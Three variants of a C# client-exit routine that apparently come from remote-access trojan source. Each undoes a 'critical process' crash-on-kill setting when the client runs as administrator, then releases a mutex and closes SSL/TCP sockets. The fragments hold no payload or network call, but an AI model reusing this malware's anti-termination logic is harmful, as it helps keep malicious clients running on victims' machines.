public static void ClientExit() { if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) { ProcessCritical.Exit(); } CloseMutex(); ClientSocket.SslClient?.Close(); ClientSocket.Client?.Close(); }
public static void ClientOnExit() { try { if (Convert.ToBoolean(Settings.BD_OS) && IsAdmin()) { ProcessCritical.Exit(); } MutexControl.CloseMutex(); ClientSocket.SslClient?.Close(); ClientSocket.TcpClient?.Close(); } catch { } }
public static void ClientExit() { try { if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) { ProcessCritical.Exit(); } CloseMutex(); ClientSocket.Client?.Shutdown(SocketShutdown.Both); ClientSocket.SslClient?.Close(); ClientSocket.Client?.Close(); } catch { } }